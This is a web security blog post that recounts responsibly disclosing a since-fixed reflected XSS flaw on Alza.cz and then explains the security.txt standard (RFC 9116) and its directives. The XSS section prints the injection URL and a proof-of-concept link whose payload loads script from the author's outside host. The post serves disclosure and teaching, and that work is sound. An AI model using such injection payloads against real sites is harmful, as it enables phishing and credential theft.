April 9, 2018 (updated July 28, 2023)

Add security.txt to your site, with correct contact details inside the file, so that people reporting security issues won't have to guess where to send the reports to. Using a real example, I'll show you why having such file is a good idea.

Sometimes, people find security vulnerabilities, and they would like to report them so the vendor or the developer can fix them. That was the case for me in December 2017 as well.

The vulnerability

On Saturday, December 16, I reported a Cross-Site Scripting (XSS) vulnerability on a well known site Alza.cz (also known as Alza.co.uk and Alzashop.com). They were echoing the current URL to the Not Found page without any sanitization, between <script> and </script> tags, to an event parameter they send to Google Analytics for tracking. The code for https://www.alza.cz/foo looks like this:

<script>
ga('send', 'event', 'Error404', 'http://www.alza.cz/foo');
</script>

Then when you loaded https://www.alza.cz/foo?');+alert(1);+// in your browser, an alert popped up:

<script>
ga('send', 'event', 'Error404', 'https://www.alza.cz/foo?'); alert(1); //');
</script>

It's quite hard to demonstrate the possibilities of an injected JavaScript with just alert(1), so I've built a proof-of-concept demo. When a user would click the malicious link, the login window would show up and when the user would try to enter their login credentials or submit the form, they would receive a “phishing demo” message instead. No data would be submitted. I could change the action attribute of the login form to submit the password to my server, but that was not the point of the demo.

The malicious demo link (could be shortened with a URL shortener):

https://www.alza.cz/foo?');d=document;s=d.createElement('script');s.src='https://baz.xss.sk/js';d.getElementsByTagName('head')[0].appendChild(s);//

At last, the warning message over the login form:

Phishing demo

Reporting the issue

To report the problem I first had to find the right person to report it to. You don't want to report security issues to customer support, they wouldn't know what to do with it. After some googling I found Vladimír Dědek, the director of web & mobile development. But who's Vladimír? How does he react to reports like this? Will he understand the report at all? Some more google queries, and here I was, watching a video interview (in Czech) where Vladimír talks with Jirka Rostecký about development-related things and stuff. Vladimír was the guy I was looking for. I've sent him a short email with the issue description and got back to whatever I originally intended to do.

Vladimír's response arrived the next day (on Sunday!) morning. Alza has fixed the vulnerability in a few days, they handled the report nicely, emails were also nice, so thanks Alza! Their quick response was similar to that of DomainTools – they fixed a similar vulnerability on Friday before Christmas.

Guess what took the most time: find the bug, prepare the demo, or find someone to report the issue to?

Yeah, you're right, I burned most of the time by trying to find the right contact. Must be someone who will understand the issue, and not scramble their lawyers instead. Some time ago, when I found a leaked data from a Czech hosting company (in Czech) just by a lucky accident, it also took me quite a while to find the right contact. I even asked their customer support to provide a dedicated security email and their response was “there's none” and that I should just send the report unencrypted to their support email and they'll get back to me. I kind of understand why companies do it, on the other hand it might discourage someone and then they may do things they'll regret later on.

Look, I get it, you don't want your “About” or “Contacts” page to have “Report security issues here” link but how to tell the potential reporters where to report their findings? You probably don't want people to ask for security contact details on Twitter like me, when I wanted to report issues with AlwaysOnSSL certification authority (which ceased to exist shortly after publishing this article). Contacts in whois listing are often private or it's not the right people for security matters.

security.txt

Ed Foudil tried to tackle this. He has created a standard called security.txt (the official full name is “A File Format to Aid in Security Vulnerability Disclosure”, published as RFC RFC 9116), which in short is a file called security.txt with security contacts where to send your reports to.

The security.txt file has to be at a predictable location, for web sites it's the /.well-known/ directory. That directory is defined in RFC 5785 and serves as a base directory for “well known” locations. It's used by e.g. KeyBase and Let's Encrypt certification authority for domain ownership validation and some more. If you can't place the security.txt file in the /.well-known/ path, you can instead place it in the top-level path as a fallback option.

The path to my security.txt file is https://www.michalspacek.com/.well-known/security.txt and I've also set up a redirection from /security.txt.

The redirection target must be on the same domain, you can't redirect from https://www.example.com/security­.txt to https://www.example.net/.well-known/security.txt and not even to a subdomain e.g. https://foo.www.example.com/.well-known/security.txt – only to https://www.example.com/.well-known/security­.txt.

The file must be a text file served with Content-Type: text/plain; charset=utf-8 HTTP header including the charset parameter. It must be served only over HTTPS, and HTTPS must be used in all the URLs inside the file, including but not limited to the following directives.

Contact

The file uses directives and values, each directive can only have one value (e.g. an address). You can add more identical directives but with different values, each on a separate line which must end either with CRLF or just LF characters. The file must contain at least one Contact directive with an email address (don't forget the mailto: scheme, e.g. mailto:security@example.com), a phone number (with the tel: scheme, e.g. tel:+123456789), or a web page with more info. My Contact directives look like this:

Contact: https://www.michalspacek.com/contact
Contact: https://twitter.com/messages/compose?recipient_id=15823805
Contact: https://m.me/spaze

Encryption

Using Encryption directive you can (and should) add a link to your PGP key which can be used to encrypt the report. My directive:

Encryption: https://www.michalspacek.cz/key.asc

Policy

With the Policy directive, you can add a link to your security policy and/or disclosure policy.

Acknowledgements

If you have a “Hall of Fame” page listing people or companies that disclosed security issues and worked with you to fix them (like what T-Mobile CZ has), you can add a link to such page here. It doesn't need to be complicated, check what AlwaysOnSSL linked to in their security.txt.

Hiring

Hiring security professionals? Add a link to open positions or job description here.

Preferred-Languages

A list of natural languages (language tags) that are preferred when submitting security reports:

Preferred-Languages: cs, en

Languages in the list must be interpreted as all being of equal priority, and if the directive is absent, reporters may assume (or may not) that English is the language to be used.

Canonical and digital signature

You can sign the contents of your security.txt using a cleartext signature where the signature is part of the original file. You can create the signature by running gpg --clear-sign security.txt and then renaming the signed file (security.txt.asc) back. Don't forget to update the signature whenever you change the file, even in the slightest.

Your security.txt file can also contain the Canonical directive (and if the file is signed it is even recommended) which points back to where the file is located:

Canonical: https://www.michalspacek.cz/.well-known/security.txt

And in case the file is signed, the location is also signed so it's clear where the file comes from.

Expires

Indicates the date and time using the RFC 3339 format, after which the data contained in the particular security.txt file is considered stale for whatever reason (like organizational changes) and should not be used anymore.

Expires: 2021-12-31T23:59:59Z

The date can be as far in the future as you wish but it's recommended to be less than a year into the future. Not having a security.txt file may be better than having stale or outdated information in such file. Please make sure the file is kept current.

✅ Add security.txt

Even if you're too lazy to do anything today, you can still at least add the file (provided you know where the security reports should be sent to) and you can tick off the task “improve relationship with a security community and make reporting security issues easier”. And even if you're busy today just add the file tomorrow. You never know when I'll be looking for one 😜

The Contact directive is mandatory (and Expires too) but I'd suggest adding Encryption directive too (if you have an encryption key). Of course you can add the other directives too.

There's a simple file generator at securitytxt.org, you can also check my file, Have I Been Pwned?, Report-URI, and Google has one, 1Password and Facebook as well. This Czech webhosting company and this Swiss bank have security.txt too. Alza has added one as well.

Updates

July 28, 2023 Added the requirement to use a Content-Type header including the charset parameter

April 28, 2022 security.txt published as RFC 9116

April 13, 2022 Draft 11 has stopped mentioning file systems

May 25, 2021 Draft 12 has changed the date format used in Expires from RFC 5322 to a bit simpler RFC 3339

December 27, 2020 The Expires field is required since draft 10

May 18, 2020 Added Expires field

December 31, 2019 Emails in Contact must have the mailto: scheme, phone numbers the tel: scheme

August 13, 2019 Added Preferred-Languages directive

August 13, 2019 Added Canonical directive and inline signatures, removed Signature, added a note about links that all must be HTTPS

August 13, 2019 Added a paragraph about redirection targets on the same domain only, removed the leading dot from the filename on internal hosts and file systems

Michal Špaček

Michal Špaček

I build web applications and I'm into web application security. I like to speak about secure development. My mission is to teach web developers how to build secure and fast web applications and why.

Public trainings

Come to my public trainings, everybody's welcome: